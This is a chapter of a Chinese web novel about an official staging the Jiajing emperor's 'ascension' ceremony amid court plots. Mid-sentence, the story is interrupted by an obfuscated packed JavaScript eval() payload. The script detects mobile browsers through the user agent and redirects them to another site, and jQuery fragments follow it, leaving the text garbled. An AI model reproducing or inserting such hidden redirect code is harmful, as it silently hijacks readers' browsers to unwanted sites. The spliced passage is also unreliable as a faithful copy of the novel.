第404章 吉日定嘉靖,九年黄道时

作品:《寒门状元:我的大脑通古今

    三月初九的晨光刺破西山雾气时,登仙台顶的黑色信号烟还未散尽。


    苏惟瑾盯着那缕直冲天际的黑烟,胡三刚包扎好的伤口又渗出血来。


    “黑色……”他声音发涩,“接仙台沦陷,飞升卫队有叛徒。”


    话音未落,山道尽头传来净鞭声响——嘉靖皇帝的仪仗,竟比曹德通报的又提前了半个时辰!


    “公子,怎么办?”


    苏惟奇脸色惨白。


    苏惟瑾闭上眼,超频大脑在绝境中疯狂运转。


    登仙台机关未就绪,接仙台已成陷阱,飞升路线全面崩溃……但四年前那个秋日,一切明明都安排得天衣无缝。


    记忆如潮水倒卷。


    嘉靖九年秋,九月十八


    钦天监的观星台上,监正徐光启抖着白胡子,将一本厚厚的星历奉到御前:“陛下,臣等夜观天象,推演三年,得一日——来年三月初三,寅正三刻,紫微星明,黄道吉位,百年一遇的‘飞升日’啊!”


    嘉靖裹着杏黄道袍,手指在星历上摩挲:“百年一遇?”


    “千真万确!”


    徐光启跪倒,“此日吉气相绕,天地交泰。昔黄帝乘龙,尧舜禅让,皆择此类吉时。陛下若于此日飞升,必能直登九天,位列仙班!”


    西苑澄心堂里,檀香袅袅。


    嘉靖盯着那份星历,眼中燃起的光芒比丹炉火还旺。


    他修仙十六载,服丹无数,建坛遍地,等的就是这一天!


    “传旨——”嘉靖声音发颤,“明年三月初三,举行飞升大典!朕要……朕要成仙了!”


    圣旨当日下午就颁行天下。


    诏书用明黄锦缎誊抄,八百里加急发往各布政使司。


    内容石破天惊:


    “奉天承运皇帝,诏曰:朕承天命,御极二十载,夙夜修行,参悟大道。今**,感天应人,择嘉靖十年三月初三吉日,飞升仙界,永享长生。太子朱载重仁孝聪慧,即皇帝位,改元‘道历’。文武百官,天下万民,当共庆盛典,恭送朕躬登仙……”


    “飞升”二字,像块巨石砸进太液池。


    京城茶馆里,说书先生醒木都拍裂了:“列位!千古奇闻啊!咱们万岁爷要成仙了!”


    茶客们炸了锅。


    “真能飞升?”


    “孔圣人都说了,陛下修行合天道!”


    “那可是衍圣公亲笔作序的《圣主修仙录》里写的!”


    但也有老秀才摇头:“荒唐……荒唐啊……”


    街头巷尾,百姓反应更直接。


    卖炊饼的王老汉边揉面边对婆娘说:“娃他娘,赶明儿去西山看看?万一能沾点仙气呢?”


    城南土地庙前,几个妇人烧香嘀咕:“陛下成仙了,是不是就能保佑咱家小子中秀才?”


    “那可不!神仙皇帝,灵验着呢!”


    而在官员圈子里,暗流汹涌。


    户部衙门的值房里,几个主事关上门。


    “李兄,这事……你信吗?”


    “信不信重要吗?诏书都下了,太子都定了。”


    “太子才七岁啊……这朝局……”


    “少说两句吧。没看严阁老这几日脸都是青的?”


    严府书房,青花瓷瓶碎了一地。


    “飞升?他苏惟瑾真当天下人是傻子!”


    严世蕃一脚踹翻椅子,“父亲,这分明是弑君篡国的惊天阴谋!”


    严嵩坐在太师椅上,脸色阴沉得能滴出水。


    他手里攥着那份诏书,指节发白。


    “证据呢?”老狐狸缓缓开口,“陛下深信不疑,孔府全力背书,钦天监言之凿凿,连太子都定了……你有什么证据说这是阴谋?”


    “那登仙台!那飞升丹!”严世蕃吼道,“苏惟瑾这三年在西山搞的那些鬼名堂,哪一样正常?”


    “那都是‘祥瑞’,是‘仙家机关’。”严嵩冷笑,“陛下亲眼看过热气球升天,亲手摸过干冰仙雾,连邵元节都说‘此乃真仙术’——你去揭穿?你拿什么揭穿?”


    严世蕃语塞。


    “去联络成国公、武安侯。”严嵩起身,“还有都察院那几个老顽固。三月初三大典当日……我们‘见机行事’。”


    “父亲的意思是?”


    “若陛下真飞升了,”严嵩眼中寒光一闪,“那便恭送。若飞不成……”


    他没说下去。


    严世蕃懂了。


    同一时刻,靖海伯府后园。


    苏惟瑾正在凉亭里下棋,对手是专程从曲阜赶来的孔闻韶。


    棋盘旁摆着新刊印的《圣主修仙录》,墨香混着茶香。


    “公爷此书,可谓定鼎之作。”苏惟瑾落下一子,“天下读书人,今后谁敢质疑陛下修仙,便是质疑圣教。”


    孔闻韶捻须微笑:“全赖伯爷指点。只是……严嵩那边,恐不会善罢甘休。”


    “他当然不会。”苏惟瑾又落一子,“所以还得请公爷再放句话。”


    “什么话?”


    “就说——”苏惟瑾抬头,眼神如刀,“陛下飞升,乃儒家千年盛事,凡有异议者,即为悖逆圣教,当逐出儒门,永世不得科举。”


    孔闻韶手一抖,棋子掉在棋盘上。


    这话太狠了。


    逐出儒门,永不得科举——对读书人而言,比杀头还可怕。


    “伯爷,这是不是……”


    “非常之时,当用非常之策。”苏惟瑾端起茶盏,“严嵩联络了一批勋贵言官,准备在大典上发难。咱们得先把路堵死。”


    三日后,这句话从曲阜传出,如野火燎原。


    国子监祭酒当即表态:“孔公所言极是!陛下飞升,实乃儒道合流之盛世!”


    各地书院山长纷纷响应,痛斥“质疑飞升者,乃小人儒也”。


    都察院几个准备上疏劝谏的御史,默默把奏章烧了——前途和名声,他们赌不起。


    腊月廿三,小年。


    西山登仙台工地上,鲁师傅领着工匠做最后调试。


    热气球完成第七次载重试验,干冰储存罐埋入台基,镜片阵列校准完毕。


    苏惟瑾站在九丈九尺的台顶,望向西边山谷。


    那里,接仙台已伪装成天然石台,飞升卫队完成第十七次演练。


    周大山气喘吁吁爬上来:“公子,都妥了。只是……”


    “说。”


    “山谷北侧那个‘坠毁现场’,真要准备吗?”周大山压低声音,“万一真用上……”


    “备着。”苏惟瑾淡淡道,“谋事在人,成事在天。咱们得给天留点余地。”


    他走下高台时,夕阳正把西山染成血色。


    嘉靖九年就这样在暗流中走向尾声。


    京城表面张灯结彩,准备迎接“飞升盛典”;底下却刀光剑影,严党串联,勋贵密会,连宫里几个不得志的太监都被重金收买。


    苏惟瑾知道一切,却稳坐钓鱼台。


    腊月廿八,他进宫面圣。


    嘉靖正在试穿飞升大典的礼服——杏黄道袍绣满云纹,头戴莲花金冠,腰系五色丝绦。


    “爱卿看朕这身如何?”嘉靖在铜镜前转身。


    “陛下神采,宛如真仙临凡。”苏惟瑾躬身,“只是臣有一请。”


    “讲。”


    “大典当日,请陛下莫带太多侍卫。仙路洁净,俗人太


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17073300|186215||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    多,恐冲撞祥瑞。”


    嘉靖大笑:“准!就依爱卿!”


    退出西苑时,苏惟瑾在宫道上遇见严嵩。


    老狐狸皮笑肉不笑:“伯爷辛苦,飞升大典全赖伯爷操持。”


    “分内之事。”苏惟瑾微笑,“严阁老届时可要亲临观礼?”


    “自然要的。”严嵩盯着他,“如此千古盛事,老夫岂能错过。”


    两人擦肩而过,各怀鬼胎。


    记忆的潮水退去,现实的血腥涌来。


    三月初九的晨光中,嘉靖的仪仗已到山脚。


    龙旗招展,净鞭声声。


    “公子!”胡三冲上来,“刚截获信鸽——刘公岛那边,周将军重伤!**那艘船……提前下水了!”


    苏惟瑾瞳孔骤缩。


    **、严世蕃、接仙台黑色信号烟、刘公岛新船……这一切不是孤立阴谋,而是一张同时收网的大网!


    “惟奇,”他声音冷得像冰,“启动登仙台‘展示版’全部机关。”


    “胡三,发信号——让西山所有暗桩,按‘坠毁计划’预备。”


    “那陛下……”


    “陛下会按原计划登台。”苏惟瑾望向山道,“但飞升路线……要改了。”


    他快步走下台基,脑中超频运转到极致。


    原计划是借西北风飘向接仙台,现在接仙台沦陷,风向……今日是东南风!


    东南风会飘向哪里?


    超频大脑调出西山地理数据,瞬间计算出一条新路径:东南风,初速三级,热气球升空后向西北飘移,降落点将是……长城外的荒野!


    那里没有接仙台,没有飞升卫队,只有莽莽群山。


    嘉靖若落在那里,必死无疑。


    “公子,”苏惟奇脸色惨白,“新路线……陛下会摔死的!”


    “我知道。”苏惟瑾闭上眼睛。


    再睁开时,眼中只剩决绝。


    “所以我们需要一阵‘神风’。”


    他转身,望向紫禁城方向。


    那里,钦天监的观星台高高矗立。


    四年前,徐光启说“三月初三乃百年一遇飞升日”。


    可今天,是三月初九。


    一个普通的、不该飞升的日子。


    “传信给徐光启,”苏惟瑾一字一句,“让他现在进宫,告诉陛下——吉时提前了。”


    “今日辰时三刻,就是飞升之时。”


    “可天象……”


    “让他编。”苏惟瑾冷笑,“就说紫微星昨夜突然异动,吉时提前三日。若不说……他全家性命,就留到三日后吧。”


    胡三倒吸一口凉气。


    这是要逼钦天监**,逼皇帝提前飞升,在绝境中硬生生劈出一条生路!


    山道上,净鞭声越来越近。


    嘉靖的御辇已到登仙台下。


    苏惟瑾整理衣冠,迎向那片明黄色仪仗。


    晨光中,登仙台巍峨耸立,铜铃在东南风中叮当乱响。


    而那缕黑色信号烟,还在西边山谷上空,固执地飘着。


    飞升吉时被苏惟瑾强行提前三日,嘉靖皇帝已至台下。


    但东南风会将热气球吹往长城荒原,若无“神风”改向,皇帝必死。


    更致命的是,接仙台升起黑色信号烟后,西山各处突然同时升起五色狼烟——这是飞升卫队最高警戒信号,意味着至少有五股敌人已潜入西山!


    而紫禁城方向,一匹快马正疯驰而来,马上骑士高举金漆令牌,嘶声大喊:“八百里加急!刘公岛水师……叛变了!”


    三线危机同时引爆,苏惟瑾手中还有最后一张牌——那阵能改天换命的“神风”,究竟藏在何处?